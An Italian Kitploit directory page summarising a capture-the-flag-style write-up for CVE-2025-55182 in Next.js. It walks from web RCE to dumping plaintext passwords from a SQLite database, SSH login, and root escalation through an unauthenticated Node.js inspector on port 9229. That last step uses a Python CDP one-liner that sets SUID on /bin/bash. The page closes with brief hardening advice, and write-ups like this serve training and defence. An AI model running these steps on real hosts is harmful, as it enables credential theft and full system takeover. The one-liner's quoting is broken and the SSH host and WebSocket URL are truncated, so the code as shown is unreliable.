Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-55182 — Writeup tecnico di penetration testing che dimostra lo sfruttamento di CVE-2025-55182 in Next.js, il furto di credenziali da SQLite e l'escalation dei privilegi tramite l'ispettore di Node.js per ottenere accesso root. | Kitploit
Strumenti/GitHubGitHub/chrisbarack/cve-2025-55182
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubchrisbarack/cve-2025-55182

cve-2025-55182

Writeup tecnico di penetration testing che dimostra lo sfruttamento di CVE-2025-55182 in Next.js, il furto di credenziali da SQLite e l'escalation dei privilegi tramite l'ispettore di Node.js per ottenere accesso root.

Vedi Repository
9h 7m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Writeup di Penetration Testing: RCE su Next.js ed Escalation dei Privilegi tramite Node.js Inspector

Questo writeup tecnico descrive il percorso di sfruttamento per compromettere un target che ospita un'applicazione web Next.js vulnerabile, ottenendo l'accesso iniziale tramite credenziali recuperate e sfruttando un inspector Node.js V8 locale configurato in modo errato per l'escalation dei privilegi a root.

Fase 1: Ricognizione Esterna e Sfruttamento Web

Footprinting Iniziale

Il target ospita un'applicazione web Next.js in esecuzione sulle porte HTTP/HTTPS standard (80/443). L'enumerazione standard delle directory e l'analisi manuale indicano che l'applicazione esegue una versione vulnerabile a CVE-2025-55182.

Sfruttamento tramite Burp Suite

Per sfruttare la vulnerabilità, intercetta il traffico dell'applicazione utilizzando Burp Suite (o Burp Repeater) e inietta un payload di exploit appositamente predisposto mirato a CVE-2025-55182.

Scoperta del Database

Dopo aver ottenuto l'esecuzione del codice e la lettura dei file locali tramite l'exploit, ispeziona la directory del codice sorgente dell'applicazione. Il file del database SQLite locale (database.db) si trova adiacente al codice sorgente principale dell'applicazione.

Fase 2: Estrazione delle Credenziali e Accesso Iniziale

Ispezione del Database

Interroga o esporta il contenuto del file del database per estrarre i record utente memorizzati.

Bash

sqlite3 database.db "SELECT * FROM users;"

Estrazione delle Credenziali

Individua la password in chiaro associata all'utente SSH locale engineer.

Accesso SSH

Utilizza le credenziali recuperate per stabilire una sessione SSH con la macchina target:

Bash

ssh engineer@

Recupero della User Flag

Una volta autenticato, leggi la user flag situata nella home directory:

Bash

cat /home/engineer/user.txt

Fase 3: Escalation dei Privilegi tramite Node.js Inspector

Ricognizione delle Porte Interne

Verifica la presenza di servizi associati esclusivamente all'interfaccia di loopback locale (127.0.0.1) per identificare le superfici di attacco interne:

Bash

netstat -tulnp

Risultato: Un servizio Node.js interno è in ascolto attivo sulla porta locale 9229.

Scoperta dell'UUID del Debugger

Le porte di debug V8 di Node.js richiedono un UUID di sessione univoco per la comunicazione WebSocket. Interroga l'endpoint di discovery locale utilizzando curl con l'aggiunta di /json:

Bash

curl -s http://127.0.0.1:9229/json

Output:

JSON

{ "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639" }

Esecuzione del Payload di Escalation dei Privilegi

Poiché il processo Node.js target viene eseguito con privilegi di root, puoi inviare un messaggio Runtime.evaluate del Chrome DevTools Protocol (CDP) tramite Python su WebSockets per impostare il bit SUID su /bin/bash:

Bash

python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require("child_process").execSync("chmod +s /bin/bash")"}})); print(ws.recv()); ws.close()'

Accesso a una Root Shell

Verifica che /bin/bash ora abbia i permessi SUID abilitati (-rwsr-sr-x), quindi invoca Bash preservando i privilegi:

Bash

ls -l /bin/bash bash -p

Recupero della Root Flag

Naviga nella home directory dell'utente root per catturare la flag finale:

Bash

cd /root cat root.txt

La protezione degli ambienti da questi vettori richiede l'applicazione di patch alle applicazioni web vulnerabili a CVE note, la corretta restrizione dei permessi dei file del database e la garanzia che le porte di debug (come l'inspector Node.js sulla porta 9229) non vengano mai esposte o lasciate accessibili senza autenticazione negli ambienti di produzione.

Scarica lo strumento